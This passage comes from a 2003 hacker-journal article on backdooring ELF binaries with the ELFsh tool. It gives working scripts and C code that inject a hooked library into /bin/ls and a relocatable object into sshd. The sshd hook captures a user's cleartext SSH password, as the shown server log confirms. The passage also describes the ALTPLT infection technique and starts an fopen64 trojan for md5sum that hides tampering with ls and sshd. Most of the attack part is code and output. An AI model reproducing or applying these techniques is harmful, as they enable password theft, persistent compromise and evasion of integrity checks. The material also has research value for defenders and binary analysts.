DIR *opendir(const char *name)
{
void *handle;
void *(*sym)(const char *name);
handle = dlopen(LIBC_PATH, RTLD_LAZY);
sym = (void *) dlsym(handle, "opendir");
printf("OPENDIR HIJACKED -orig- = %08X .::. -param- = %s \n",
sym, name);
return (sym(name));
}
$ gcc -shared myopendir.c -o rt.so.1 -ldl
$
-----END EXAMPLE 6-----
Now we can modify the binary using our 4 lines script:
-----BEGIN EXAMPLE 7-----
$ ./dlhijack.esh
Welcome to The ELF shell 0.5b9 .::.
.::. This software is under the General Public License
.::. Please visit http://www.gnu.org to know about Free Software
~load /bin/ls
[*] New object /bin/ls loaded on Fri Jul 25 02:48:19 2003
~set 1.dynamic[9].tag DT_NEEDED
[*] Field set succesfully
~set 1.dynamic[9].val 1.dynamic[0].val
[*] Field set succesfully
~add 1.dynamic[0].val 3
[*] Field modified succesfully
~save ls.new
[*] Object ls.new save successfully
~quit
[*] Unloading object 1 (/bin/ls) *
Good bye ! .::. The ELF shell 0.5b9
$
-----END EXAMPLE 7-----
Let's see the results for the original ls, and then for the
modified ls:
$ ldd ls.new
rt.so.1 => /lib/rt.so.1 (0x40021000)
libc.so.6 => /lib/libc.so.6 (0x40023000)
librt.so.1 => /lib/librt.so.1 (0x40134000)
libdl.so.2 => /lib/libdl.so.2 (0x40146000)
/lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)
libpthread.so.0 => /lib/libpthread.so.0 (0x4014a000)
$ ls
c.so.6 dlhijack.esh dlhijack.esh~ ls.new myopendir.c \
myopendir.c~ p61_ELF.txt p61_ELF.txt~ rt.so.1
$ ./ls.new
OPENDIR HIJACKED -orig- = 400C1D5C .::. -param- = .
c.so.6 dlhijack.esh dlhijack.esh~ ls.new myopendir.c \
myopendir.c~ p61_ELF.txt p61_ELF.txt~ rt.so.1
$
Nice. Note that the current implementation of this technique in
ELFsh changes the size of the binary because it injects
automatically some symbols for binary sanity. If you want to keep
the same size, you have to comment the calls to elfsh_fixup_symtab
in the ELFsh source code ;) . This stuff is known to be used
in the wild.
The dynamic version of this technique has been proposed in [9],
where the author describes how to call dlopen() in a subversive
way, so that the process get runtime linked with an extra library.
In practice, both implementations have nothing in common, but it
is worth mentionning.
-------[ 3. Residency : ET_REL injection into ET_EXEC
This second technique allows to perform relinking of the ELF
ET_EXEC binary file and adding a relocatable object (ET_REL
file aka .o file) into the program address space. This is very
useful since it is a powerful method to inject as much data and
code as needed in a file using a 5 lines script.
Such relocation based backdoors have been developped in the
past for static kernel patching [10] (ET_REL into vmlinuz) and
direct LKM loading in kernel memory (ET_REL into kmem) [11] .
However, this ET_REL injection into ET_EXEC implementation is in
my sense particulary interresting since it has been implemented
considering a larger scope of target architectures and for
protected environments.
Because ELFsh is also used for things other than backdooring,
the SHT and the symbol table are kept synchronized when we
insert our stuff into the binary, so that symbol resolving can
be provided even in the injected code.
Since the backdoor needs to stay valid on a PaX protected box,
we use 2 different injection techniques (one for the code
sections, the other for the data sections) called section
pre-interp injection (because we insert the new section before
the .interp section) and section post-bss injection (because we
insert the new section after the .bss section).
For this second injection type, .bss data physical insertion
into the file is necessary, since .bss is the non-initialized
data section, it is only referenced by the SHT and PHT, but it
is not present in the file.
Also, note that section pre-interp injection is not possible
with the current FreeBSD dynamic linker (some assert() kills the
modified binary), so all sections are injected using a post-bss
insertion on this OS. This is not an issue since FreeBSD does not
come with non-executable protection for datapages. If such a
protection comes in the future, we would have to modify the
dynamic linker itself before being able to run the modified
binary, or make the code segment writable in sh_flags.
Let's look at the binary layout (example is sshd, it is the same
for all the binaries) :
-----BEGIN EXAMPLE 8-----
$ elfsh -f /usr/sbin/sshd -q -s -p
[SECTION HEADER TABLE .::. SHT is not stripped]
[Object /usr/sbin/sshd]
[000] (nil) ------- foff:00000000 sz:00000000 link:00
[001] 0x80480f4 a------ .interp foff:00000244 sz:00000019 link:00
[002] 0x8048108 a------ .note.ABI-tag foff:00000264 sz:00000032 link:00
[003] 0x8048128 a------ .hash foff:00000296 sz:00001784 link:04
[004] 0x8048820 a------ .dynsym foff:00002080 sz:00003952 link:05
[005] 0x8049790 a------ .dynstr foff:00006032 sz:00002605 link:00
[006] 0x804a1be a------ .gnu.version foff:00008638 sz:00000494 link:04
[007] 0x804a3ac a------ .gnu.version_r foff:00009132 sz:00000096 link:05
[008] 0x804a40c a------ .rel.got foff:00009228 sz:00000008 link:04
[009] 0x804a414 a------ .rel.bss foff:00009236 sz:00000056 link:04
[010] 0x804a44c a------ .rel.plt foff:00009292 sz:00001768 link:04
[011] 0x804ab34 a-x---- .init foff:00011060 sz:00000037 link:00
[012] 0x804ab5c a-x---- .plt foff:00011100 sz:00003552 link:00
[013] 0x804b940 a-x---- .text foff:00014656 sz:00145276 link:00
[014] 0x806f0bc a-x---- .fini foff:00159932 sz:00000028 link:00
[015] 0x806f0e0 a------ .rodata foff:00159968 sz:00068256 link:00
[016] 0x8080b80 aw----- .data foff:00228224 sz:00003048 link:00
[017] 0x8081768 aw----- .eh_frame foff:00231272 sz:00000004 link:00
[018] 0x808176c aw----- .ctors foff:00231276 sz:00000008 link:00
[019] 0x8081774 aw----- .dtors foff:00231284 sz:00000008 link:00
[020] 0x808177c aw----- .got foff:00231292 sz:00000900 link:00
[021] 0x8081b00 aw----- .dynamic foff:00232192 sz:00000200 link:05
[022] 0x8081bc8 -w----- .sbss foff:00232416 sz:00000000 link:00
[023] 0x8081be0 aw----- .bss foff:00232416 sz:00025140 link:00
[024] (nil) ------- .comment foff:00232416 sz:00002812 link:00
[025] (nil) ------- .note foff:00235228 sz:00001480 link:00
[026] (nil) ------- .shstrtab foff:00236708 sz:00000243 link:00
[027] (nil) ------- .symtab foff:00236951 sz:00000400 link:00
[028] (nil) ------- .strtab foff:00237351 sz:00000202 link:00
[Program header table .::. PHT]
[Object /usr/sbin/sshd]
[0] 0x08048034 -> 0x080480F4 r-x memsz(000192) foff(000052) filesz(000192)
[1] 0x080480F4 -> 0x08048107 r-- memsz(000019) foff(000244) filesz(000019)
[2] 0x08048000 -> 0x0807FB80 r-x memsz(228224) foff(000000) filesz(228224)
[3] 0x08080B80 -> 0x08087E14 rw- memsz(029332) foff(228224) filesz(004168)
[4] 0x08081B00 -> 0x08081BC8 rw- memsz(000200) foff(232192) filesz(000200)
[5] 0x08048108 -> 0x08048128 r-- memsz(000032) foff(000264) filesz(000032)
[Program header table .::. SHT correlation]
[Object /usr/sbin/sshd]
[*] SHT is not stripped
[00] PT_PHDR
[01] PT_INTERP .interp
[02] PT_LOAD .interp .note.ABI-tag .hash .dynsym .dynstr \
.gnu.version .gnu.version_r .rel.got .rel.bss \
.rel.plt .init .plt .text .fini .rodata
[03] PT_LOAD .data .eh_frame .ctors .dtors .got .dynamic
[04] PT_DYNAMIC .dynamic
[05] PT_NOTE .note.ABI-tag
$
-----END EXAMPLE 8-----
We have here two loadable segments, one is executable (matches the
code segment) and the other is writable (matches the data
segment).
What we have to do is to inject all non-writable sections before
.interp (thus in the code segment), and all other section's after
.bss in the data segment. Let's code a handler for crypt() which
prints the clear password and exit. In this first example, we
will use GOT redirection [12] and hijack crypt() which stays in
the libc:
-----BEGIN EXAMPLE 9-----
$ cat mycrypt.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
int glvar = 42;
int bssvar;
char *mycrypt(const char *key, const char *salt)
{
bssvar = 2;
printf(".:: crypt redirected -key- = %s (%u .::. %u) \n",
key, glvar, bssvar);
exit(0);
}
$ gcc -c mycrypt.c
$
-----END EXAMPLE 9-----
Using the 'reladd' command, we will inject mycrypt.o into sshd:
-----BEGIN EXAMPLE 10-----
$ cat etreladd.esh
#!/usr/bin/elfsh
load /usr/sbin/sshd
load mycrypt.o
# Inject mycrypt.o into sshd
reladd 1 2
# Modify crypt() got entry and make it point on mycrypt() which resides
# into mycrypt.o
set 1.got[crypt] mycrypt
save sshd.new
quit
$ ./etreladd.esh
Welcome to The ELF shell 0.5b9 .::.
.::. This software is under the General Public License
.::. Please visit http://www.gnu.org to know about Free Software
~load /usr/sbin/sshd
[*] New object /usr/sbin/sshd loaded on Fri Jul 25 04:43:58 2003
~load mycrypt.o
[*] New object mycrypt.o loaded on Fri Jul 25 04:43:58 2003
~reladd 1 2
[*] ET_REL mycrypt.o injected succesfully in ET_EXEC /usr/sbin/sshd
~set 1.got[crypt] mycrypt
[*] Field set succesfully
~save sshd.new
[*] Object sshd.new save successfully
~quit
[*] Unloading object 1 (mycrypt.o)
[*] Unloading object 2 (/usr/sbin/sshd) *
Good bye ! .::. The ELF shell 0.5b9
$
-----END EXAMPLE 10-----
Our script rocked. As I said, the symbol tables and the .bss from
the module have been fusionned with those from the executable file
and the SHT has been kept synchronized, so that resolving is also
possible in the injected code:
-----BEGIN EXAMPLE 11-----
$ elfsh -f sshd.new -q -s -p
[SECTION HEADER TABLE .::. SHT is not stripped]
[Object sshd.new]
[00] (nil) ------- foff:00000000 sz:00000000 link:00
[01] 0x80450f4 a-x---- .orig.plt foff:00000244 sz:00004096 link:00
[02] 0x80460f4 a------ mycrypt.o.rodata foff:00004340 sz:00004096 link:00
[03] 0x80470f4 a-x---- mycrypt.o.text foff:00008436 sz:00004096 link:00
[04] 0x80480f4 a------ .interp foff:00012532 sz:00000019 link:00
[05] 0x8048108 a------ .note.ABI-tag foff:00012552 sz:00000032 link:00
[06] 0x8048128 a------ .hash foff:00012584 sz:00001784 link:07
[07] 0x8048820 a------ .dynsym foff:00014368 sz:00003952 link:08
[08] 0x8049790 a------ .dynstr foff:00018320 sz:00002605 link:00
[09] 0x804a1be a------ .gnu.version foff:00020926 sz:00000494 link:07
[10] 0x804a3ac a------ .gnu.version_r foff:00021420 sz:00000096 link:08
[11] 0x804a40c a------ .rel.got foff:00021516 sz:00000008 link:07
[12] 0x804a414 a------ .rel.bss foff:00021524 sz:00000056 link:07
[13] 0x804a44c a------ .rel.plt foff:00021580 sz:00001768 link:07
[14] 0x804ab34 a-x---- .init foff:00023348 sz:00000037 link:00
[15] 0x804ab5c a-x---- .plt foff:00023388 sz:00003552 link:00
[16] 0x804b940 a-x---- .text foff:00026944 sz:00145276 link:00
[17] 0x806f0bc a-x---- .fini foff:00172220 sz:00000028 link:00
[18] 0x806f0e0 a------ .rodata foff:00172256 sz:00068256 link:00
[19] 0x8080b80 aw----- .data foff:00240512 sz:00003048 link:00
[20] 0x8081768 aw----- .eh_frame foff:00243560 sz:00000004 link:00
[21] 0x808176c aw----- .ctors foff:00243564 sz:00000008 link:00
[22] 0x8081774 aw----- .dtors foff:00243572 sz:00000008 link:00
[23] 0x808177c aw----- .got foff:00243580 sz:00000900 link:00
[24] 0x8081b00 aw----- .dynamic foff:00244480 sz:00000200 link:08
[25] 0x8081bc8 -w----- .sbss foff:00244704 sz:00000000 link:00
[26] 0x8081be0 aw----- .bss foff:00244704 sz:00025144 link:00
[27] 0x8087e18 aw----- mycrypt.o.data foff:00269848 sz:00000004 link:00
[28] (nil) ------- .comment foff:00269852 sz:00002812 link:00
[29] (nil) ------- .note foff:00272664 sz:00001480 link:00
[30] (nil) ------- .shstrtab foff:00274144 sz:00000300 link:00
[31] (nil) ------- .symtab foff:00274444 sz:00004064 link:00
[32] (nil) ------- .strtab foff:00278508 sz:00003423 link:00
[Program header table .::. PHT]
[Object sshd.new]
[0] 0x08045034 -> 0x080450F4 r-x memsz(000192) foff(000052) filesz(000192)
[1] 0x080480F4 -> 0x08048107 r-- memsz(000019) foff(012532) filesz(000019)
[2] 0x08045000 -> 0x0807FB80 r-x memsz(240512) foff(000000) filesz(240512)
[3] 0x08080B80 -> 0x08087E1C rw- memsz(029340) foff(240512) filesz(029340)
[4] 0x08081B00 -> 0x08081BC8 rw- memsz(000200) foff(244480) filesz(000200)
[5] 0x08048108 -> 0x08048128 r-- memsz(000032) foff(012552) filesz(000032)
[Program header table .::. SHT correlation]
[Object sshd.new]
[*] SHT is not stripped
[0] PT_PHDR
[1] PT_INTERP .interp
[2] PT_LOAD .orig.plt mycrypt.o.rodata mycrypt.o.text .interp
.note.ABI-tag .hash .dynsym .dynstr .gnu.version
.gnu.version_r .rel.got .rel.bss .rel.plt .init
.plt .text .fini .rodata
[3] PT_LOAD .data .eh_frame .ctors .dtors .got .dynamic .sbss
.bss mycrypt.o.data
[4] PT_DYNAMIC .dynamic
[5] PT_NOTE .note.ABI-tag
$
-----END EXAMPLE 11-----
The new sections can be easily spotted in the new SHT, since
their name starts with the module name (mycrypt.o.*). Please
elude the .orig.plt presence for the moment. This section
is injected at ET_REL insertion time, but it is not used in
this example and it will be explained as a stand-alone technique
in the next chapter.
We can see that the new BSS size is 4 bytes bigger than the
original one. It is because the module BSS was only filled with
one variable (bssvar), which was a 4 byte sized integer since
this specific example was done on a 32 bits architecture. The
difficulty of this operation is to find the ET_REL object BSS
section size, because it is set to 0 in the SHT. For this
operation, we need to care about variable address alignement
using the st_value field from each SHN_COMMON symbols of the
ET_REL object, as specified by the ELF reference. Details for
this algorithm are given later in the article.
It works on Solaris as well, even if ET_REL files generated by
Solaris-ELF ld have no .bss section entry in the SHT. The current
implementation (0.51b2) has one more limitation on Solaris, which
is a 'Malloc problem' happening at the first malloc() call when
using a section post-bss injection. You dont have to use this kind
of section injection ; ET_REL injection works well on Solaris if you do
not use initialized global variables. This problem is beeing
researched as well.
Also, the .shstrtab, .symtab, and .strtab sections have been
extended, and now contain extra symbol names, extra section names,
and extra symbols copied from the ET_REL object.
You can note that pre-interp injected sections base address is
congruent getpagesize(), so that the executable segment always
starts at the beginning of a page, as requested by the ELF
reference. ELFsh could save some place here, instead of allocating
the size of a page each time a section is injected, but that would
complexify the algorithm a bit, so the congruence is kept for
each inserted section.
The implementation has the cool advantage of -NOT- having to move
the original executable address space, so that no relocation of
the original code is needed. In other words, only the .o object
sections are relocated and we can be sure that no false positive
relocation is possible (e.g. we -DO NOT- have to find all
references in the sshd code and patch them because the address
space changed).
This is the injected code section's assembly dump, which contains
the mycrypt function:
-----BEGIN EXAMPLE 12-----
$ elfsh -f sshd.new -q -D mycrypt.o.text
080470F4 mycrypt.o.text + 0 push %ebp
080470F5 mycrypt.o.text + 1 mov %esp,%ebp
080470F7 mycrypt.o.text + 3 sub $8,%esp
080470FA mycrypt.o.text + 6 mov $2,<bssvar>
08047104 mycrypt.o.text + 16 mov <bssvar>,%eax
08047109 mycrypt.o.text + 21 push %eax
0804710A mycrypt.o.text + 22 mov <glvar>,%eax
0804710F mycrypt.o.text + 27 push %eax
08047110 mycrypt.o.text + 28 mov 8(%ebp),%eax
08047113 mycrypt.o.text + 31 push %eax
08047114 mycrypt.o.text + 32 push {body}lt;mycrypt.o.rodata>
08047119 mycrypt.o.text + 37 call <printf>
0804711E mycrypt.o.text + 42 add $10,%esp
08047121 mycrypt.o.text + 45 add $0xFFFFFFF4,%esp
08047124 mycrypt.o.text + 48 push $0
08047126 mycrypt.o.text + 50 call <exit>
0804712B mycrypt.o.text + 55 add $10,%esp
0804712E mycrypt.o.text + 58 lea 0(%esi),%esi
08047134 mycrypt.o.text + 64 leave
08047135 mycrypt.o.text + 65 ret
-----END EXAMPLE 12-----
Lets test our new sshd:
$ ssh mayhem@localhost
Enter passphrase for key '/home/mayhem/.ssh/id_dsa': <-- type <ENTER>
mayhem@localhost's password: <--- type your passwd
Connection closed by 127.0.0.1
$
Let's verify on the server side what happened:
$ ./sshd.new -d
debug1: Seeding random number generator
debug1: sshd version OpenSSH_3.0.2p1
debug1: private host key: #0 type 0 RSA1
debug1: read PEM private key done: type RSA
debug1: private host key: #1 type 1 RSA
debug1: read PEM private key done: type DSA
debug1: private host key: #2 type 2 DSA
debug1: Bind to port 22 on 0.0.0.0.
Server listening on 0.0.0.0 port 22.
debug1: Server will not fork when running in debugging mode.
Connection from 127.0.0.1 port 40619
debug1: Client protocol version 2.0; client software version OpenSSH_3.5p1
debug1: match: OpenSSH_3.5p1 pat ^OpenSSH
Enabling compatibility mode for protocol 2.0
debug1: Local version string SSH-2.0-OpenSSH_3.0.2p1
debug1: Rhosts Authentication disabled, originating port 40619 not trusted
debug1: list_hostkey_types: ssh-rsa,ssh-dss
debug1: SSH2_MSG_KEXINIT sent
debug1: SSH2_MSG_KEXINIT received
debug1: kex: client->server aes128-cbc hmac-md5 none
debug1: kex: server->client aes128-cbc hmac-md5 none
debug1: SSH2_MSG_KEX_DH_GEX_REQUEST received
debug1: SSH2_MSG_KEX_DH_GEX_GROUP sent
debug1: dh_gen_key: priv key bits set: 127/256
debug1: bits set: 1597/3191
debug1: expecting SSH2_MSG_KEX_DH_GEX_INIT
debug1: bits set: 1613/3191
debug1: SSH2_MSG_KEX_DH_GEX_REPLY sent
debug1: kex_derive_keys
debug1: newkeys: mode 1
debug1: SSH2_MSG_NEWKEYS sent
debug1: waiting for SSH2_MSG_NEWKEYS
debug1: newkeys: mode 0
debug1: SSH2_MSG_NEWKEYS received
debug1: KEX done
debug1: userauth-request for user mayhem service ssh-connection method \
none
debug1: attempt 0 failures 0
Failed none for mayhem from 127.0.0.1 port 40619 ssh2
debug1: userauth-request for user mayhem service ssh-connection method \
publickey
debug1: attempt 1 failures 1
debug1: test whether pkalg/pkblob are acceptable
debug1: temporarily_use_uid: 1000/31337 (e=0)
debug1: trying public key file /home/mayhem/.ssh/authorized_keys
debug1: matching key found: file /home/mayhem/.ssh/authorized_keys, line 1
debug1: restore_uid
Postponed publickey for mayhem from 127.0.0.1 port 40619 ssh2
debug1: userauth-request for user mayhem service ssh-connection method \
keyboard-interactive
debug1: attempt 2 failures 1
debug1: keyboard-interactive devs
debug1: auth2_challenge: user=mayhem devs=
debug1: kbdint_alloc: devices ''
Failed keyboard-interactive for mayhem from 127.0.0.1 port 40619 ssh2
debug1: userauth-request for user mayhem service ssh-connection method \
password
debug1: attempt 3 failures 2
.:: crypt redirected -key- = mytestpasswd (42 .::. 2)
$
Fine. If you want extreme details on the implementation, please
read the ELFsh code, particulary libelfsh/relinject.c. For the
academic audience, the pseudo-code algorithms are provided.
Because ET_REL injection is based on BSS and Symbol table fusion,
section pre-interp injection, section post-bss injection,
SHT shifting, SHT entry insertion, symbol injection, and section
data injection, all those algorithms are also available. The BSS
physical insertion is performed only once, at the first use of
post-bss injection. The general algorithm for ET_REL injection is
as follow:
1/ Fuse ET_REL and ET_EXEC .bss sections
2/ Find and inject ET_REL allocatable sections into ET_EXEC
3/ Synchronize ET_EXEC symbol table (inject missing ET_REL symbols)
4/ Relocate each injected section if its .rel(a) table is available
Now let's give some details ;)
--------[ .:: MAIN ALGORITHM : ET_REL injection into ET_EXEC ::.
1/ Insert ET_REL object .bss into ET_EXEC (see BSS fusion algo)
2/ FOREACH section in ET_REL object
[
IF section is a/ allocatable (sh_flags & SHF_ALLOC)
b/ non-null sized (sh_size != 0)
c/ data-typed (sh_type == SHT_PROGBITS)
[
IF section is writable -or- OS is FreeBSD
[
- Inject post-bss section into ET_EXEC
]
ELSE
[
- Inject pre-interp section into ET_EXEC
]
]
]
3/ Insert ET_REL .symtab into ET_EXEC (symtab fusion algorithm)
4/ FOREACH section in ET_REL object
[
IF a/ section has been injected in 2. (same conditions)
b/ section needs relocation (.rel.sctname is found in ET_REL)
[
- Relocate the section
]
]
--------[ BSS fusion algorithm
- Insert ET_EXEC BSS physically if not already done (see next algo)
FOREACH symbol from the ET_REL object
[
IF symbol points into the BSS (st_shndx & SHN_COMMON)
[
WHILE ET_EXEC .bss size is not aligned (sh_size % st_value)
[
- Increment by 1 the .bss size field (sh_size)
]
- Insert symbol w/ st_value = .bss sh_addr + .bss sh_size
- Add symbol size to ET_EXEC .bss size (sh_size)
]
]
---------[ BSS physical insertion algorithm
FOREACH PHT entry
[
IF a/ segment is loadable (p_type == PT_LOAD)
b/ segment is writable (p_flags & PF_W)
[
- Put p_memsz value into p_filesz
- End of algorithm
]
]
--------[ Symbol Tables fusion algorithm
FOREACH symbol in ET_REL object
[
IF Symbol type is function (STT_FUNC) or variable (STT_OBJECT)
[
- Get parent section for this symbol using st_shndx field
IF Parent section has been injected in 2. (same conditions)
[
- Add section's base address to the symbol value
- Inject new symbol into ET_EXEC
]
]
]
--------[ Section pre-interp injection algorithm
- Compute section size congruent with page size
- Create new section's header
- Inject section header (see SHT header insertion algorithm)
FOREACH PHT entry
[
IF a/ segment type is loadable (p_type == PT_LOAD)
b/ segment is executable (p_flags & PF_X)
[
- Add section's size to p_filesz and p_memsz
- Substract section's size from p_vaddr and p_paddr
]
ELSE IF segment type is PT_PHDR
[
- Substract section's size from p_vaddr and p_paddr
]
ELSE
[
- Add section's size to p_offset
]
]
- Shift SHT (see algorithm below)
---------[ Section post-bss injection algorithm
- Create new section's header
- Inject section header (see SHT header insertion algorithm)
FOREACH PHT entry
[
IF a/ segment is loadable (p_type == PT_LOAD)
b/ segment is writable (p_flags & PF_W)
[
- Add section's size to p_memsz and p_filesz
- End of algorithm
]
]
- Shift SHT by the section size (see next algorithm)
---------[ SHT shifting algorithm
FOREACH SHT entry
[
IF current linked section (sh_link) points after new section
[
- Increment by 1 the sh_link field
]
IF current file offset > injected section file offset
[
- Add injected section sh_size to current sh_offset
]
]
---------[ SHT header insertion algorithm
- Insert new section's name into .shstrtab
- Insert new entry in SHT at requested range
- Increment by 1 the e_shnum field in ELF header
FOREACH SHT entry
[
IF current entry file offset is after SHT file offset
[
- Add e_shentsize from ELF header to current sh_offset
]
]
IF injected section header sh_offset <= SHT file offset
[
- Add new section size (sh_size) to e_shoff field in ELF header
]
IF requested new section range <= section string table index
[
- Increment sh_strndx field in ELF header
]
---------[ Symbol injection algorithm
- Insert symbol name into .strtab section
- Insert symbol entry into .symtab section
---------[ Section data injection algorithm (apply to all type of section)
- Insert data into section
- Add injected data size to section's sh_size
IF SHT file offset > section file offset
[
- Add injected data size to e_shoff in ELF header
]
FOREACH SHT entry
[
IF current entry sh_offset field > extended section file offset
[
IF current entry sh_addr field is non-null
[
- Add injected data size to sh_addr
]
- Add injected data size to sh_offset
]
]
IF extended section sh_addr is non-null
[
FOREACH symbol table entry
[
IF symbol points after extended section former upper bound
[
- Add injected data size to st_value field
]
]
]
The relocation (step 4) algorithm wont be detailed, because it is
already all explained in the ELF reference. In short, the relocation
process consists in updating all the addresses references in the
injected ET_REL code, using the available merged symbol tables in
the ET_EXEC file. There are 12 relocation types on INTEL and 56
relocations types on SPARC, however, only 2 types are mostly used on
INTEL, and only 3 on SPARC for ET_REL objects.
This last stage is a switch/case based algorithm, which has in
charge to update some bytes, many times, in each injected mapped
section. The relocation tables contains all the information necessary
for this operation, their name is .rel.<target> (or .rela.<target> on
SPARC), with <target> beeing the section which is going to be
relocated using this table). Those sections can be easily found just
parsing the SHT and looking for sections whoose st_type is SHT_REL
(or SHT_RELA on SPARC).
What makes the ELFsh relocation engine powerful, is the using of both
symbol table (.symtab and .dynsym), which means that the injected
code can resolve symbols from the executable itself, e.g. it is
possible to call the core functions of the executable, as well
as existing .plt entries from the backdoor code, if their symbol
value is available. For more details about the relocation step,
please look at the ELFsh code in libelfsh/relinject.c, particulary
at the elfsh_relocate_i386 and and elfsh_relocate_sparc.
As suggested in the previous paragraph, ELFsh has a limitation since
it is not possible to call functions not already present in the
binary. If we want to call such functions, we would have to add
information for the dynamic linker, so that the function address can
be resolved in runtime using the standard GOT/PLT mechanism. It
would requires .got, .plt, .rel.plt, .dynsym, .dynstr, and .hash
extensions, which is not trivial when we dont want to move the
binary data and code zones from their original addresses.
Since relocation information is not available for ET_EXEC ELF
objects, we woulnt be sure that our reconstructed relocation
information would be 100% exact, without having a very strong and
powerful dataflow analysis engine. This was proved by modremap
(modules/modremap.c) written by spacewalkr, which is a
SHT/PHT/symtab shifter. Coupled to the ELFsh relocation finder
(vm/findrel.c), this module can remap a ET_EXEC binary in another
place of the address space. This is known to work for /bin/ls and
various /bin/* but bigger binaries like ssh/sshd cannot be relocated
using this technique, because valid pointers double words are not
always real pointers in such bins (false positives happen in hash
values).
For this reason, we dont want to move ET_EXEC section's from their
original place. Instead, it is probably possible to add extra
sections and use big offsets from the absolute addresses stored
into .dynamic, but this feature is not yet provided. A careful
choice of external functions hijacking is usually enough to get rid
of the non-present symbol problem, even if this 'extra-function
resolving' feature will probably be implemented in the future. For
some sections like .hash, it may be necessary to do a copy of the
original section after .bss and change the referenced address in
the .dynamic section, so that we can extend the hash without moving
any original code or data.
-------[ 4. Infection : ALTPLT technique
Now that we have a decent residency technique in ET_REL injection,
let's focus on a new better infection technique than GOT redirection
and PLT infection : the ALTPLT technique. This new technique takes
advantage of the symbol based function address resolving of the
previous technique, as detailed below.
ALTPLT is an improvement of PLT infection technique. Silvio Cesare
describes how to modify the .plt section, in order to redirect
function calls to library onto another code, so called the hook
code. From [4], the algorithm of original .plt infection:
-----%<-------%<--------%<---------%<----------%<--------%<---------
'' The algorithm at the entry point code is as follows...
* mark the text segment writable
* save the PLT(GOT) entry
* replace the PLT(GOT) entry with the address of the new libcall
The algorithm in the new library call is as follows...
* do the payload of the new libcall
* restore the original PLT(GOT) entry
* call the libcall
* save the PLT(GOT) entry again (if it is changed)
* replace the PLT(GOT) entry with the address of the new libcall ''
-----%<-------%<--------%<---------%<----------%<--------%<---------
The implementation of such an algorithm was presented in x86
assembly language using segment padding residency. This technique
is not enough because:
1/ It is architecture dependant
2/ Strict segments rights may not be kept consistant (PaX unsafe)
3/ The general layout of the technique lacks a formal interface
The new ALTPLT technique consists of copying the Procedure Linkage
Table (.plt) to an alternative section, called .orig.plt, using a
pre-interp injection, so that it resides in the read-only code
segment. For each entry of the .orig.plt, we create and inject a
new reference symbol, which name the same as the .plt entry symbol
at the same index, except that it starts by 'old_'.
Using this layout, we are able to perform standard PLT infection on
the original .plt section, but instead of having a complex
architecture dependant hook code, we use an injected function
residing in hook.o.text, which is the text section of an ET_REL
module that was injected using the technique described in the
previous part of the paper.
This way, we can still call the original function using
old_funcname(), since the injected symbol will be available for
the relocation engine, as described in the ET_REL injection
algorithm ;).
We keep the GOT/PLT mechanism intact and we rely on it to provide
a normal function address resolution, like in every dynamic
executable files. The .got section will now be unique for both .plt
and .orig.plt sections. The added section .orig.plt is a strict copy
of the original .plt, and will not ever be overwritten. In other
words, .orig.plt is PaX safe. The only difference will be that
original .plt entries may not use .got, but might be redirected on
another routine using a direct branchement instruction.
Let's look at an example where the puts() function is hijacked, and
the puts_troj() function is called instead.
On INTEL:
-----BEGIN EXAMPLE 13-----
old_puts + 0 jmp *<_GLOBAL_OFFSET_TABLE_ + 20> FF 25 00 97 04 08
old_puts + 6 push $10 68 10 00 00 00
old_puts + 11 jmp <old_dlresolve> E9 C0 FF FF FF
puts + 0 jmp <puts_troj> E9 47 ED FF FF
puts + 5 or %ch,10(%eax) 08 68 10
puts + 8 add %al,(%eax) 00 00
puts + 10 add %ch,%cl 00 E9
puts + 12 sar $FF,%bh C0 FF FF
puts + 15 (bad) %edi FF FF
-----END EXAMPLE 13-----
On SPARC:
-----BEGIN EXAMPLE 14-----
old_puts + 0 sethi %hi(0xf000), %g1 03 00 00 3c
old_puts + 4 b,a e0f4 <func2+0x1e0c> 30 bf ff f0
old_puts + 8 nop 01 00 00 00
puts + 0 jmp %g1 + 0xf4 ! <puts_troj> 81 c0 60 f4
puts + 4 nop 01 00 00 00
puts + 8 sethi %hi(0x12000), %g1 03 00 00 48
-----END EXAMPLE 14-----
This is the only architecture dependant operation in the ALTPLT
algorithm. It means that this feature can be implemented very easily
for other processors as well. However, on SPARC there is one more
modification to do on the first entry of the .orig.plt section.
Indeed, the SPARC architecture does not use a Global Offset Table
(.got) for function address resolving, instead the .plt section is
directly modified at dynamic linking time. Except for this
difference, the SPARC .plt works just the same as INTEL .plt (both
are using the first .plt entry each time, as explained in the ELF
reference).
For this reason, we have to modify the first .orig.plt entry to make
it point on the first .plt entry (which is patched in runtime before
the main() function takes control). In order to patch it, we need to
use a register other than %g1 (since this one is used by the dynamic
linker to identify the .plt entry which has to be patched), for
example %g2 (elfsh_hijack_plt_sparc_g2 in libelfsh/hijack.c).
Patched first .orig.plt entry on SPARC:
-----BEGIN EXAMPLE 15-----
.orig.plt sethi %hi(0x20400), %g2 05 00 00 81
.orig.plt jmp %g2 + 0x2a8 ! <.plt> 81 c0 a2 a8
.orig.plt nop 01 00 00 00
-----END EXAMPLE 15-----
The reason for NOP instructions after the branching instruction
(jmp) is because of SPARC delay slot. In short, SPARC branchement
is done in such way that it changes the NPC register (New Program
Counter) and not the PC register, and the instruction after a
branching one is executed before the real branchement.
Let's use a new example which combines ET_REL injection and ALTPLT
infection this time (instead of GOT redirection, like in the previous
sshd example). We will modify md5sum so that access to /bin/ls and
/usr/sbin/sshd is redirected. In that case, we need to hijack the
fopen64() function used by md5sum, swap the real path with the
backup path if necessary, and call the original fopen64 as if
nothing had happened:
-----BEGIN EXAMPLE 16-----
$ cat md16.esh
#!/usr/bin/elfsh
load /usr/bin/md5sum
load test.o
# Add test.o into md5sum
reladd 1 2
# Redirect fopen64 to fopen64_troj (in test.o) using ALTPLT technique
redir fopen64 fopen64_troj
save md5sum.new
quit
$ chmod +x md16.esh
$
-----END EXAMPLE 16-----
Let's look at the injected code. Because the strcmp() libc
function is not used by md5sum and therefore its symbol is not
available in the binary, we have to copy it in the module
source:
-----BEGIN EXAMPLE 17-----
$ cat test.c
#include <stdlib.h>
#define HIDDEN_DIR "/path/to/hidden/dir"
#define LS "/bin/ls"
#define SSHD "/usr/sbin/sshd"
#define LS_BAQ "ls.baq"
#define SSHD_BAQ "sshd.baq"
int mystrcmp(char *str1, char *str2)
{
u_int cnt;
for (cnt = 0; str1[cnt] && str2[cnt]; cnt++)
if (str1[cnt] != str2[cnt])
return (str1[cnt] - str2[cnt]);
return (str1[cnt] - str2[cnt]);
}
